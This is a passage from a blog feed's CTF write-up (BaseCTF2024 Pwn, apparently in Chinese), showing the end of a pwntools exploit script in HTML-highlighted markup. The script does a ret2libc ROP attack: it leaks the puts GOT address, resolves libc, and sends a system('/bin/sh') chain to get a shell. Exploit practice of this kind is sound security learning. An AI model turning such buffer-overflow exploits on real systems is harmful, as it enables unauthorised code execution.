class="line">io.recv()</span><br><span class="line">leak_payload = flat(</span><br><span class="line">    <span class="string">b&#x27;A&#x27;</span> * offset,</span><br><span class="line">    p64(pop_rdi_ret),</span><br><span class="line">    p64(puts_got),</span><br><span class="line">    p64(puts_plt),</span><br><span class="line">    p64(main_addr)</span><br><span class="line">)</span><br><span class="line">io.send(leak_payload)</span><br><span class="line">io.recvline() </span><br><span class="line">puts_addr = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">log.success(<span class="string">f&quot;泄露的puts地址: <span class="subst">&#123;<span class="built_in">hex</span>(puts_addr)&#125;</span>&quot;</span>)</span><br><span class="line">libc_search = LibcSearcher(<span class="string">&#x27;puts&#x27;</span>, puts_addr)</span><br><span class="line">libc_base = puts_addr - libc_search.dump(<span class="string">&#x27;puts&#x27;</span>)</span><br><span class="line">log.success(<span class="string">f&quot;libc基址: <span class="subst">&#123;<span class="built_in">hex</span>(libc_base)&#125;</span>&quot;</span>)</span><br><span class="line">system_addr = libc_base + libc_search.dump(<span class="string">&#x27;system&#x27;</span>)</span><br><span class="line">binsh_addr = libc_base + libc_search.dump(<span class="string">&#x27;str_bin_sh&#x27;</span>)</span><br><span class="line">log.success(<span class="string">f&quot;system地址: <span class="subst">&#123;<span class="built_in">hex</span>(system_addr)&#125;</span>&quot;</span>)</span><br><span class="line">log.success(<span class="string">f&quot;/bin/sh地址: <span class="subst">&#123;<span class="built_in">hex</span>(binsh_addr)&#125;</span>&quot;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;I have nothing, what should I do?\n&#x27;</span>)</span><br><span class="line">shell_payload = flat(</span><br><span class="line">    <span class="string">b&#x27;A&#x27;</span> * offset,</span><br><span class="line">    p64(ret),  <span class="comment"># 栈对齐</span></span><br><span class="line">    p64(pop_rdi_ret),</span><br><span class="line">    p64(binsh_addr),</span><br><span class="line">    p64(system_addr),</span><br><span class="line">    p64(main_addr)</span><br><span class="line">)</span><br><span class="line">io.send(shell_payload)</span><br><span class="line">io.interactive()</span><br><span class="line"><span class="comment">#libc6_2.35-0ubuntu3.8_amd64</span></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;shellcode-level1&quot;&gt;&lt;a href=&quot;#shellcode-level1&quot; class=&quot;headerlink&quot; title=&quot;shellcode_level1&quot;&gt;&lt;/a&gt;shellcode_level1&lt;/h2&gt;&lt;h6 id=&quot;Hint-两字节怎</summary>
      
    
    
    
    <category term="BaseCTF2024新生赛" scheme="https://rhea006.github.io/categories/BaseCTF2024%E6%96%B0%E7%94%9F%E8%B5%9B/"/>
    
    <category term="Pwn" scheme="https://rhea006.github.io/categories/BaseCTF2024%E6%96%B0%E7%94%9F%E8%B5%9B/Pwn/"/>
    
    
    <category term="PWN" scheme="https://rhea006.github.io/tags/PWN/"/>
    
  </entry>
  
</feed>
